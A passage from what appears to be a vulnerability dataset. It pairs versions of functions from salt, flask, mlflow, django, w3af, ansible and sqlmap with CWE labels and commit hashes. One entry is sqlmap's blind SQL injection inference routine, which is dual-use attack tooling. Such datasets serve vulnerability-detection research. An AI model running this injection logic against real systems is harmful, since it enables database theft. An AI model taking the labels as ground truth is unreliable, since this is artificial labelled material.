    # their is no package definition. This is a salt standard which could be improved.
    return latest_version(name, saltenv=saltenv, refresh=refresh) != ''"
,UNKNOWN,UNKNOWN,tests/test_json.py,1,"def test_jsonify_arrays(app, client):
    """"""Test jsonify of lists and args unpacking.""""""
    a_list = [
        0,
        42,
        3.14,
        ""t"",
        ""hello"",
        True,
        False,
        [""test list"", 2, False],
        {""test"": ""dict""},
    ]

    @app.route(""/args_unpack"")
    def return_args_unpack():
        return flask.jsonify(*a_list)

    @app.route(""/array"")
    def return_array():
        return flask.jsonify(a_list)

    for url in ""/args_unpack"", ""/array"":
        rv = client.get(url)
        assert rv.mimetype == ""application/json""
        assert flask.json.loads(rv.data) == a_list",CWE-703,pallets/flask,4846e25e92638a1db5aa2b41f65eed7585366109,"def test_jsonify_arrays(app, client):
    """"""Test jsonify of lists and args unpacking.""""""
    a_list = [
        0,
        42,
        3.14,
        ""t"",
        ""hello"",
        True,
        False,
        [""test list"", 2, False],
        {""test"": ""dict""},
    ]

    @app.route(""/args_unpack"")
    def return_args_unpack():
        return flask.jsonify(*a_list)

    @app.route(""/array"")
    def return_array():
        return flask.jsonify(a_list)

    for url in ""/args_unpack"", ""/array"":
        rv = client.get(url)
        assert rv.mimetype == ""application/json""
        assert flask.json.loads(rv.data) == a_list"
,UNKNOWN,UNKNOWN,salt/states/augeas.py,1,"def change(name, context=None, changes=None, lens=None, **kwargs):
    '''
    .. versionadded:: 2014.7.0

    This state replaces :py:func:`~salt.states.augeas.setvalue`.

    Issue changes to Augeas, optionally for a specific context, with a
    specific lens.

    name
        State name

    context
        A file path, prefixed by ``/files``. Should resolve to an actual file
        (not an arbitrary augeas path). This is used to avoid duplicating the
        file name for each item in the changes list (for example, ``set bind 0.0.0.0``
        in the example below operates on the file specified by ``context``). If
        ``context`` is not specified, a file path prefixed by ``/files`` should be
        included with the ``set`` command.

        The file path is examined to determine if the
        specified changes are already present.

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set maxmemory 1G

    changes
        List of changes that are issued to Augeas. Available commands are
        ``set``, ``setm``, ``mv``/``move``, ``ins``/``insert``, and ``rm``/``remove``.

    lens
        The lens to use, needs to be suffixed with `.lns`, e.g.: `Nginx.lns`. See
        the `list of stock lenses <http://augeas.net/stock_lenses.html>`_
        shipped with Augeas.


    Usage examples:

    Set the ``bind`` parameter in ``/etc/redis/redis.conf``:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - changes:
              - set /files/etc/redis/redis.conf/bind 0.0.0.0

    .. note::

        Use the ``context`` parameter to specify the file you want to
        manipulate. This way you don't have to include this in the changes
        every time:

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set databases 4
                  - set maxmemory 1G

    Augeas is aware of a lot of common configuration files and their syntax.
    It knows the difference between for example ini and yaml files, but also
    files with very specific syntax, like the hosts file. This is done with
    *lenses*, which provide mappings between the Augeas tree and the file.

    There are many `preconfigured lenses`_ that come with Augeas by default,
    and they specify the common locations for configuration files. So most
    of the time Augeas will know how to manipulate a file. In the event that
    you need to manipulate a file that Augeas doesn't know about, you can
    specify the lens to use like this:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - lens: redis
            - context: /files/etc/redis/redis.conf
            - changes:
              - set bind 0.0.0.0

    .. note::

        Even though Augeas knows that ``/etc/redis/redis.conf`` is a Redis
        configuration file and knows how to parse it, it is recommended to
        specify the lens anyway. This is because by default, Augeas loads all
        known lenses and their associated file paths. All these files are
        parsed when Augeas is loaded, which can take some time. When specifying
        a lens, Augeas is loaded with only that lens, which speeds things up
        quite a bit.

    .. _preconfigured lenses: http://augeas.net/stock_lenses.html

    A more complex example, this adds an entry to the services file for Zabbix,
    and removes an obsolete service:

    .. code-block:: yaml

        zabbix-service:
          augeas.change:
            - lens: services
            - context: /files/etc/services
            - changes:
              - ins service-name after service-name[last()]
              - set service-name[last()] zabbix-agent
              - set service-name[. = 'zabbix-agent']/#comment ""Zabbix Agent service""
              - set service-name[. = 'zabbix-agent']/port 10050
              - set service-name[. = 'zabbix-agent']/protocol tcp
              - rm service-name[. = 'im-obsolete']
            - unless: grep ""zabbix-agent"" /etc/services

    .. warning::

        Don't forget the ``unless`` here, otherwise a new entry will be added
        every time this state is run.

    '''
    ret = {'name': name, 'result': False, 'comment': '', 'changes': {}}

    if not changes or not isinstance(changes, list):
        ret['comment'] = '\'changes\' must be specified as a list'
        return ret

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Executing commands'
        if context:
            ret['comment'] += ' in file ""{0}"":\n'.format(context)
        ret['comment'] += ""\n"".join(changes)
        return ret

    old_file = []
    if context:
        filename = re.sub('^/files|/$', '', context)
        if os.path.isfile(filename):
            with salt.utils.fopen(filename, 'r') as file_:
                old_file = file_.readlines()

    result = __salt__['augeas.execute'](context=context, lens=lens, commands=changes)
    ret['result'] = result['retval']

    if ret['result'] is False:
        ret['comment'] = 'Error: {0}'.format(result['error'])
        return ret

    if old_file:
        with salt.utils.fopen(filename, 'r') as file_:
            diff = ''.join(difflib.unified_diff(old_file, file_.readlines(), n=0))

        if diff:
            ret['comment'] = 'Changes have been saved'
            ret['changes'] = {'diff': diff}
        else:
            ret['comment'] = 'No changes made'

    else:
        ret['comment'] = 'Changes have been saved'
        ret['changes'] = {'updates': changes}

    return ret",CWE-605,saltstack/salt,f6c0fa519d310b2101af83a7577b7e9c50896223,"def change(name, context=None, changes=None, lens=None, **kwargs):
    '''
    .. versionadded:: 2014.7.0

    This state replaces :py:func:`~salt.states.augeas.setvalue`.

    Issue changes to Augeas, optionally for a specific context, with a
    specific lens.

    name
        State name

    context
        A file path, prefixed by ``/files``. Should resolve to an actual file
        (not an arbitrary augeas path). This is used to avoid duplicating the
        file name for each item in the changes list (for example, ``set bind 0.0.0.0``
        in the example below operates on the file specified by ``context``). If
        ``context`` is not specified, a file path prefixed by ``/files`` should be
        included with the ``set`` command.

        The file path is examined to determine if the
        specified changes are already present.

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set maxmemory 1G

    changes
        List of changes that are issued to Augeas. Available commands are
        ``set``, ``mv``/``move``, ``ins``/``insert``, and ``rm``/``remove``.

    lens
        The lens to use, needs to be suffixed with `.lns`, e.g.: `Nginx.lns`. See
        the `list of stock lenses <http://augeas.net/stock_lenses.html>`_
        shipped with Augeas.


    Usage examples:

    Set the ``bind`` parameter in ``/etc/redis/redis.conf``:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - changes:
              - set /files/etc/redis/redis.conf/bind 0.0.0.0

    .. note::

        Use the ``context`` parameter to specify the file you want to
        manipulate. This way you don't have to include this in the changes
        every time:

        .. code-block:: yaml

            redis-conf:
              augeas.change:
                - context: /files/etc/redis/redis.conf
                - changes:
                  - set bind 0.0.0.0
                  - set databases 4
                  - set maxmemory 1G

    Augeas is aware of a lot of common configuration files and their syntax.
    It knows the difference between for example ini and yaml files, but also
    files with very specific syntax, like the hosts file. This is done with
    *lenses*, which provide mappings between the Augeas tree and the file.

    There are many `preconfigured lenses`_ that come with Augeas by default,
    and they specify the common locations for configuration files. So most
    of the time Augeas will know how to manipulate a file. In the event that
    you need to manipulate a file that Augeas doesn't know about, you can
    specify the lens to use like this:

    .. code-block:: yaml

        redis-conf:
          augeas.change:
            - lens: redis
            - context: /files/etc/redis/redis.conf
            - changes:
              - set bind 0.0.0.0

    .. note::

        Even though Augeas knows that ``/etc/redis/redis.conf`` is a Redis
        configuration file and knows how to parse it, it is recommended to
        specify the lens anyway. This is because by default, Augeas loads all
        known lenses and their associated file paths. All these files are
        parsed when Augeas is loaded, which can take some time. When specifying
        a lens, Augeas is loaded with only that lens, which speeds things up
        quite a bit.

    .. _preconfigured lenses: http://augeas.net/stock_lenses.html

    A more complex example, this adds an entry to the services file for Zabbix,
    and removes an obsolete service:

    .. code-block:: yaml

        zabbix-service:
          augeas.change:
            - lens: services
            - context: /files/etc/services
            - changes:
              - ins service-name after service-name[last()]
              - set service-name[last()] zabbix-agent
              - set service-name[. = 'zabbix-agent']/#comment ""Zabbix Agent service""
              - set service-name[. = 'zabbix-agent']/port 10050
              - set service-name[. = 'zabbix-agent']/protocol tcp
              - rm service-name[. = 'im-obsolete']
            - unless: grep ""zabbix-agent"" /etc/services

    .. warning::

        Don't forget the ``unless`` here, otherwise a new entry will be added
        every time this state is run.

    '''
    ret = {'name': name, 'result': False, 'comment': '', 'changes': {}}

    if not changes or not isinstance(changes, list):
        ret['comment'] = '\'changes\' must be specified as a list'
        return ret

    if __opts__['test']:
        ret['result'] = None
        ret['comment'] = 'Executing commands'
        if context:
            ret['comment'] += ' in file ""{0}"":\n'.format(context)
        ret['comment'] += ""\n"".join(changes)
        return ret

    old_file = []
    if context:
        filename = re.sub('^/files|/$', '', context)
        if os.path.isfile(filename):
            with salt.utils.fopen(filename, 'r') as file_:
                old_file = file_.readlines()

    result = __salt__['augeas.execute'](context=context, lens=lens, commands=changes)
    ret['result'] = result['retval']

    if ret['result'] is False:
        ret['comment'] = 'Error: {0}'.format(result['error'])
        return ret

    if old_file:
        with salt.utils.fopen(filename, 'r') as file_:
            diff = ''.join(difflib.unified_diff(old_file, file_.readlines(), n=0))

        if diff:
            ret['comment'] = 'Changes have been saved'
            ret['changes'] = {'diff': diff}
        else:
            ret['comment'] = 'No changes made'

    else:
        ret['comment'] = 'Changes have been saved'
        ret['changes'] = {'updates': changes}

    return ret"
,UNKNOWN,UNKNOWN,tests/data/test_http_dataset_source.py,1,"def test_source_load_with_content_disposition_header(attachment_filename, expected_filename):
    def download_with_mock_content_disposition_headers(*args, **kwargs):
        response = cloud_storage_http_request(*args, **kwargs)
        if attachment_filename is not None:
            response.headers[""Content-Disposition""] = f""attachment; filename={attachment_filename}""
        else:
            response.headers[""Content-Disposition""] = ""attachment""
        return response

    with mock.patch(
        ""mlflow.data.http_dataset_source.cloud_storage_http_request"",
        side_effect=download_with_mock_content_disposition_headers,
    ):
        source = HTTPDatasetSource(
            ""https://raw.githubusercontent.com/mlflow/mlflow/master/tests/datasets/winequality-red.csv""
        )
        source.load()
        loaded = source.load()
        assert os.path.exists(loaded)
        assert os.path.basename(loaded) == expected_filename",CWE-703,mlflow/mlflow,400c226953b4568f4361bc0a0c223511652c2b9d,"def test_source_load_with_content_disposition_header(attachment_filename, expected_filename):
    def download_with_mock_content_disposition_headers(*args, **kwargs):
        response = cloud_storage_http_request(*args, **kwargs)
        if attachment_filename is not None:
            response.headers[""Content-Disposition""] = f""attachment; filename={attachment_filename}""
        else:
            response.headers[""Content-Disposition""] = ""attachment""
        return response

    with mock.patch(
        ""mlflow.data.http_dataset_source.cloud_storage_http_request"",
        side_effect=download_with_mock_content_disposition_headers,
    ):
        source = HTTPDatasetSource(
            ""https://raw.githubusercontent.com/mlflow/mlflow/master/tests/datasets/winequality-red.csv""
        )
        source.load()
        loaded = source.load()
        assert os.path.exists(loaded)
        assert os.path.basename(loaded) == expected_filename"
,UNKNOWN,UNKNOWN,django/db/models/sql/compiler.py,1,"def get_select(self, with_col_aliases=False):
        """"""
        Return three values:
        - a list of 3-tuples of (expression, (sql, params), alias)
        - a klass_info structure,
        - a dictionary of annotations

        The (sql, params) is what the expression will produce, and alias is the
        ""AS alias"" for the column (possibly None).

        The klass_info structure contains the following information:
        - The base model of the query.
        - Which columns for that model are present in the query (by
          position of the select clause).
        - related_klass_infos: [f, klass_info] to descent into

        The annotations is a dictionary of {'attname': column position} values.
        """"""
        select = []
        klass_info = None
        annotations = {}
        assert not (self.query.select and self.query.default_cols)
        select_mask = self.query.get_select_mask()
        if self.query.default_cols:
            cols = self.get_default_columns(select_mask)
        else:
            # self.query.select is a special case. These columns never go to
            # any model.
            cols = self.query.select
        selected = []
        select_fields = None
        if self.query.selected is None:
            selected = [
                *(
                    (alias, RawSQL(*args))
                    for alias, args in self.query.extra_select.items()
                ),
                *((None, col) for col in cols),
                *self.query.annotation_select.items(),
            ]
            select_fields = list(
                range(
                    len(self.query.extra_select),
                    len(self.query.extra_select) + len(cols),
                )
            )
        else:
            select_fields = []
            for index, (alias, expression) in enumerate(self.query.selected.items()):
                # Reference to an annotation.
                if isinstance(expression, str):
                    expression = self.query.annotations[expression]
                # Reference to a column.
                elif isinstance(expression, int):
                    select_fields.append(index)
                    expression = cols[expression]
                # ColPairs cannot be aliased.
                if isinstance(expression, ColPairs):
                    alias = None
                selected.append((alias, expression))
        if select_fields:
            klass_info = {""model"": self.query.model, ""select_fields"": select_fields}

        for select_idx, (alias, expression) in enumerate(selected):
            if alias:
                annotations[alias] = select_idx
            select.append((expression, alias))

        if self.query.select_related:
            related_klass_infos = self.get_related_selections(select, select_mask)
            klass_info[""related_klass_infos""] = related_klass_infos

            def get_select_from_parent(klass_info):
                for ki in klass_info[""related_klass_infos""]:
                    if ki[""from_parent""]:
                        ki[""select_fields""] = (
                            klass_info[""select_fields""] + ki[""select_fields""]
                        )
                    get_select_from_parent(ki)

            get_select_from_parent(klass_info)

        ret = []
        col_idx = 1
        for col, alias in select:
            try:
                sql, params = self.compile(col)
            except EmptyResultSet:
                empty_result_set_value = getattr(
                    col, ""empty_result_set_value"", NotImplemented
                )
                if empty_result_set_value is NotImplemented:
                    # Select a predicate that's always False.
                    sql, params = ""0"", ()
                else:
                    sql, params = self.compile(Value(empty_result_set_value))
            except FullResultSet:
                sql, params = self.compile(Value(True))
            else:
                sql, params = col.select_format(self, sql, params)
            if alias is None and with_col_aliases:
                alias = f""col{col_idx}""
                col_idx += 1
            ret.append((col, (sql, params), alias))
        return ret, klass_info, annotations",CWE-703,django/django,5d2a0c51d459379447563af3789a6d941ca4947c,"def get_select(self, with_col_aliases=False):
        """"""
        Return three values:
        - a list of 3-tuples of (expression, (sql, params), alias)
        - a klass_info structure,
        - a dictionary of annotations

        The (sql, params) is what the expression will produce, and alias is the
        ""AS alias"" for the column (possibly None).

        The klass_info structure contains the following information:
        - The base model of the query.
        - Which columns for that model are present in the query (by
          position of the select clause).
        - related_klass_infos: [f, klass_info] to descent into

        The annotations is a dictionary of {'attname': column position} values.
        """"""
        select = []
        klass_info = None
        annotations = {}
        assert not (self.query.select and self.query.default_cols)
        select_mask = self.query.get_select_mask()
        if self.query.default_cols:
            cols = self.get_default_columns(select_mask)
        else:
            # self.query.select is a special case. These columns never go to
            # any model.
            cols = self.query.select
        if cols:
            klass_info = {
                ""model"": self.query.model,
                ""select_fields"": list(
                    range(
                        len(self.query.extra_select),
                        len(self.query.extra_select) + len(cols),
                    )
                ),
            }
        selected = []
        if self.query.selected is None:
            selected = [
                *(
                    (alias, RawSQL(*args))
                    for alias, args in self.query.extra_select.items()
                ),
                *((None, col) for col in cols),
                *self.query.annotation_select.items(),
            ]
        else:
            for alias, expression in self.query.selected.items():
                # Reference to an annotation.
                if isinstance(expression, str):
                    expression = self.query.annotations[expression]
                # Reference to a column.
                elif isinstance(expression, int):
                    expression = cols[expression]
                # ColPairs cannot be aliased.
                if isinstance(expression, ColPairs):
                    alias = None
                selected.append((alias, expression))

        for select_idx, (alias, expression) in enumerate(selected):
            if alias:
                annotations[alias] = select_idx
            select.append((expression, alias))

        if self.query.select_related:
            related_klass_infos = self.get_related_selections(select, select_mask)
            klass_info[""related_klass_infos""] = related_klass_infos

            def get_select_from_parent(klass_info):
                for ki in klass_info[""related_klass_infos""]:
                    if ki[""from_parent""]:
                        ki[""select_fields""] = (
                            klass_info[""select_fields""] + ki[""select_fields""]
                        )
                    get_select_from_parent(ki)

            get_select_from_parent(klass_info)

        ret = []
        col_idx = 1
        for col, alias in select:
            try:
                sql, params = self.compile(col)
            except EmptyResultSet:
                empty_result_set_value = getattr(
                    col, ""empty_result_set_value"", NotImplemented
                )
                if empty_result_set_value is NotImplemented:
                    # Select a predicate that's always False.
                    sql, params = ""0"", ()
                else:
                    sql, params = self.compile(Value(empty_result_set_value))
            except FullResultSet:
                sql, params = self.compile(Value(True))
            else:
                sql, params = col.select_format(self, sql, params)
            if alias is None and with_col_aliases:
                alias = f""col{col_idx}""
                col_idx += 1
            ret.append((col, (sql, params), alias))
        return ret, klass_info, annotations"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/plugins/grep/vulners_db.py,0,"def __init__(self):
        GrepPlugin.__init__(self)

        # Vulners rules JSON url
        self._vulners_rules_url = URL('https://raw.githubusercontent.com/vulnersCom/detect-rules/master/rules.json')

        # Vulners shared objects
        self._vulners_api = None
        self._vulners_api_key = ''
        self.rules_table = None
        self.rules_updated = False

        self._already_visited = ScalableBloomFilter()
        self._vulnerability_cache = {}
        self._multi_re = None",,andresriancho/w3af,e0f12d4e60ddf253719e190038642ce8fcd3f977,"def __init__(self):
        GrepPlugin.__init__(self)

        # Vulners rules JSON url
        self._vulners_rules_url = URL('https://raw.githubusercontent.com/vulnersCom/detect-rules/master/rules.json')

        # Vulners shared objects
        self._vulners_api = None
        self._vulners_api_key = None
        self.rules_table = None
        self.rules_updated = False

        self._already_visited = ScalableBloomFilter()
        self._vulnerability_cache = {}
        self._multi_re = None"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/module_utils/network/meraki/meraki.py,0,"def __init__(self, module, function=None):
        self.module = module
        self.params = module.params
        self.result = dict(changed=False)
        self.headers = dict()
        self.function = function

        # normal output
        self.existing = None

        # info output
        self.config = dict()
        self.original = None
        self.proposed = dict()
        self.merged = None

        # debug output
        self.filter_string = ''
        self.method = None
        self.path = None
        self.response = None
        self.status = None
        self.url = None

        # If URLs need to be modified or added for specific purposes, use .update() on the url_catalog dictionary
        self.get_urls = {'organizations': '/organizations',
                         'network': '/organizations/{org_id}/networks',
                         'admins': '/organizations/{org_id}/admins',
                         'configTemplates': '/organizations/{org_id}/configTemplates',
                         'samlRoles': '/organizations/{org_id}/samlRoles',
                         'ssids': '/networks/{net_id}/ssids',
                         'groupPolicies': '/networks/{net_id}/groupPolicies',
                         'staticRoutes': '/networks/{net_id}/staticRoutes',
                         'vlans': '/networks/{net_id}/vlans',
                         'devices': '/networks/{net_id}/devices',
                         }

        self.get_one_urls = {'organizations': '/organizations/{org_id}',
                             'network': '/networks/{net_id}',
                             }

        # Module should add URLs which are required by the module
        self.url_catalog = {'get_all': self.get_urls,
                            'get_one': self.get_one_urls,
                            'create': None,
                            'update': None,
                            'delete': None,
                            'misc': None,
                            }

        if self.module._debug or self.params['output_level'] == 'debug':
            self.module.warn('Enable debug output because ANSIBLE_DEBUG was set or output_level is set to debug.')

        # TODO: This needs to be tested
        self.module.required_if = [('state', 'present', ['org_name']),
                                   ('state', 'absent', ['org_name']),
                                   ]
        # self.module.mutually_exclusive = [('org_id', 'org_name'),
        #                                   ]
        self.modifiable_methods = ['POST', 'PUT', 'DELETE']

        self.headers = {'Content-Type': 'application/json',
                        'X-Cisco-Meraki-API-Key': module.params['auth_key'],
                        }",,ansible/ansible,cd89bc59418d717d59f1fb069af92b75f58a1be8,"def __init__(self, module, function=None):
        self.module = module
        self.params = module.params
        self.result = dict(changed=False)
        self.headers = dict()
        self.function = function

        # normal output
        self.existing = None

        # info output
        self.config = dict()
        self.original = None
        self.proposed = dict()
        self.merged = None

        # debug output
        self.filter_string = ''
        self.method = None
        self.path = None
        self.response = None
        self.status = None
        self.url = None

        # If URLs need to be modified or added for specific purposes, use .update() on the url_catalog dictionary
        self.get_urls = {'organizations': '/organizations',
                         'networks': '/organizations/{org_id}/networks',
                         'admins': '/organizations/{org_id}/admins',
                         'configTemplates': '/organizations/{org_id}/configTemplates',
                         'samlRoles': '/organizations/{org_id}/samlRoles',
                         'ssids': '/networks/{net_id}/ssids',
                         'groupPolicies': '/networks/{net_id}/groupPolicies',
                         'staticRoutes': '/networks/{net_id}/staticRoutes',
                         'vlans': '/networks/{net_id}/vlans',
                         'devices': '/networks/{net_id}/devices',
                         }

        self.get_one_urls = {'organizations': '/organizations/{org_id}',
                             'networks': '/networks/{net_id}',
                             }

        # Module should add URLs which are required by the module
        self.url_catalog = {'get_all': self.get_urls,
                            'get_one': self.get_one_urls,
                            'create': None,
                            'update': None,
                            'delete': None,
                            'misc': None,
                            }

        if self.module._debug or self.params['output_level'] == 'debug':
            self.module.warn('Enable debug output because ANSIBLE_DEBUG was set or output_level is set to debug.')

        # TODO: This needs to be tested
        self.module.required_if = [('state', 'present', ['org_name']),
                                   ('state', 'absent', ['org_name']),
                                   ]
        # self.module.mutually_exclusive = [('org_id', 'org_name'),
        #                                   ]
        self.modifiable_methods = ['POST', 'PUT', 'DELETE']

        self.headers = {'Content-Type': 'application/json',
                        'X-Cisco-Meraki-API-Key': module.params['auth_key'],
                        }"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/inject.py,0,"def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """"""
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """"""

    initTechnique(kb.technique)

    query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = BigArray()

    if not unpack:
        return _goInference(payload, expression, charsetType, firstChar, lastChar, dump)

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    rdbRegExp = re.search(""RDB\$GET_CONTEXT\([^)]+\)"", expression, re.I)
    if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
        expressionFieldsList = [expressionFields]

    if len(expressionFieldsList) > 1:
        infoMsg = ""the SQL query provided has more than one field. ""
        infoMsg += ""sqlmap will now unpack it into distinct queries ""
        infoMsg += ""to be able to retrieve the output even if we ""
        infoMsg += ""are going blind""
        logger.info(infoMsg)

    # If we have been here from SQL query/shell we have to check if
    # the SQL query might return multiple entries and in such case
    # forge the SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table
    # can return multiple entries
    if fromUser and "" FROM "" in expression.upper() and ((Backend.getIdentifiedDbms() \
      not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
      expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
      and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)

        if limitCond:
            test = True

            if not stopLimit or stopLimit <= 1:
                if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
                    test = False

            if test:
                # Count the number of SQL query entries output
                countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
                countedExpression = expression.replace(expressionFields, countFirstField, 1)

                if "" ORDER BY "" in countedExpression.upper():
                    _ = countedExpression.upper().rindex("" ORDER BY "")
                    countedExpression = countedExpression[:_]

                if not stopLimit:
                    count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar)

                    if isNumPosStrValue(count):
                        count = int(count)

                        if batch or count == 1:
                            stopLimit = count
                        else:
                            message = ""the SQL query provided can return ""
                            message += ""%d entries. How many "" % count
                            message += ""entries do you want to retrieve?\n""
                            message += ""[a] All (default)\n[#] Specific number\n""
                            message += ""[q] Quit""
                            test = readInput(message, default=""a"")

                            if not test or test[0] in (""a"", ""A""):
                                stopLimit = count

                            elif test[0] in (""q"", ""Q""):
                                raise SqlmapUserQuitException

                            elif test.isdigit() and int(test) > 0 and int(test) <= count:
                                stopLimit = int(test)

                                infoMsg = ""sqlmap is now going to retrieve the ""
                                infoMsg += ""first %d query output entries"" % stopLimit
                                logger.info(infoMsg)

                            elif test[0] in (""#"", ""s"", ""S""):
                                message = ""how many? ""
                                stopLimit = readInput(message, default=""10"")

                                if not stopLimit.isdigit():
                                    errMsg = ""invalid choice""
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = ""invalid choice""
                                logger.error(errMsg)

                                return None

                    elif count and not count.isdigit():
                        warnMsg = ""it was not possible to count the number ""
                        warnMsg += ""of entries for the SQL query provided. ""
                        warnMsg += ""sqlmap will assume that it returns only ""
                        warnMsg += ""one entry""
                        logger.warn(warnMsg)

                        stopLimit = 1

                    elif (not count or int(count) == 0):
                        if not count:
                            warnMsg = ""the SQL query provided does not ""
                            warnMsg += ""return any output""
                            logger.warn(warnMsg)

                        return None

                elif (not stopLimit or stopLimit == 0):
                    return None

                try:
                    try:
                        for num in xrange(startLimit, stopLimit):
                            output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
                            outputs.append(output)
                    except OverflowError:
                        errMsg = ""boundary limits (%d,%d) are too large. Please rerun "" % (startLimit, stopLimit)
                        errMsg += ""with switch '--fresh-queries'""
                        raise SqlmapDataException(errMsg)

                except KeyboardInterrupt:
                    print
                    warnMsg = ""user aborted during dumping phase""
                    logger.warn(warnMsg)

                return outputs

    elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith(""SELECT "") and "" FROM "" not in expression.upper():
        expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]

    outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)

    return "", "".join(output for output in outputs) if not isNoneValue(outputs) else None",,sqlmapproject/sqlmap,3dc8820caa9f78d7ebfee3659d8feb69312a4c4c,"def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """"""
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """"""

    initTechnique(kb.technique)

    query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = BigArray()

    if not unpack:
        return _goInference(payload, expression, charsetType, firstChar, lastChar, dump)

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    rdbRegExp = re.search(""RDB\$GET_CONTEXT\([^)]+\)"", expression, re.I)
    if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
        expressionFieldsList = [expressionFields]

    if len(expressionFieldsList) > 1:
        infoMsg = ""the SQL query provided has more than one field. ""
        infoMsg += ""sqlmap will now unpack it into distinct queries ""
        infoMsg += ""to be able to retrieve the output even if we ""
        infoMsg += ""are going blind""
        logger.info(infoMsg)

    # If we have been here from SQL query/shell we have to check if
    # the SQL query might return multiple entries and in such case
    # forge the SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table
    # can return multiple entries
    if fromUser and "" FROM "" in expression.upper() and ((Backend.getIdentifiedDbms() \
      not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \
      expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
      and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)

        if limitCond:
            test = True

            if not stopLimit or stopLimit <= 1:
                if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
                    test = False

            if test:
                # Count the number of SQL query entries output
                countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
                countedExpression = expression.replace(expressionFields, countFirstField, 1)

                if "" ORDER BY "" in expression.upper():
                    _ = countedExpression.upper().rindex("" ORDER BY "")
                    countedExpression = countedExpression[:_]

                if not stopLimit:
                    count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar)

                    if isNumPosStrValue(count):
                        count = int(count)

                        if batch or count == 1:
                            stopLimit = count
                        else:
                            message = ""the SQL query provided can return ""
                            message += ""%d entries. How many "" % count
                            message += ""entries do you want to retrieve?\n""
                            message += ""[a] All (default)\n[#] Specific number\n""
                            message += ""[q] Quit""
                            test = readInput(message, default=""a"")

                            if not test or test[0] in (""a"", ""A""):
                                stopLimit = count

                            elif test[0] in (""q"", ""Q""):
                                raise SqlmapUserQuitException

                            elif test.isdigit() and int(test) > 0 and int(test) <= count:
                                stopLimit = int(test)

                                infoMsg = ""sqlmap is now going to retrieve the ""
                                infoMsg += ""first %d query output entries"" % stopLimit
                                logger.info(infoMsg)

                            elif test[0] in (""#"", ""s"", ""S""):
                                message = ""how many? ""
                                stopLimit = readInput(message, default=""10"")

                                if not stopLimit.isdigit():
                                    errMsg = ""invalid choice""
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = ""invalid choice""
                                logger.error(errMsg)

                                return None

                    elif count and not count.isdigit():
                        warnMsg = ""it was not possible to count the number ""
                        warnMsg += ""of entries for the SQL query provided. ""
                        warnMsg += ""sqlmap will assume that it returns only ""
                        warnMsg += ""one entry""
                        logger.warn(warnMsg)

                        stopLimit = 1

                    elif (not count or int(count) == 0):
                        if not count:
                            warnMsg = ""the SQL query provided does not ""
                            warnMsg += ""return any output""
                            logger.warn(warnMsg)

                        return None

                elif (not stopLimit or stopLimit == 0):
                    return None

                try:
                    try:
                        for num in xrange(startLimit, stopLimit):
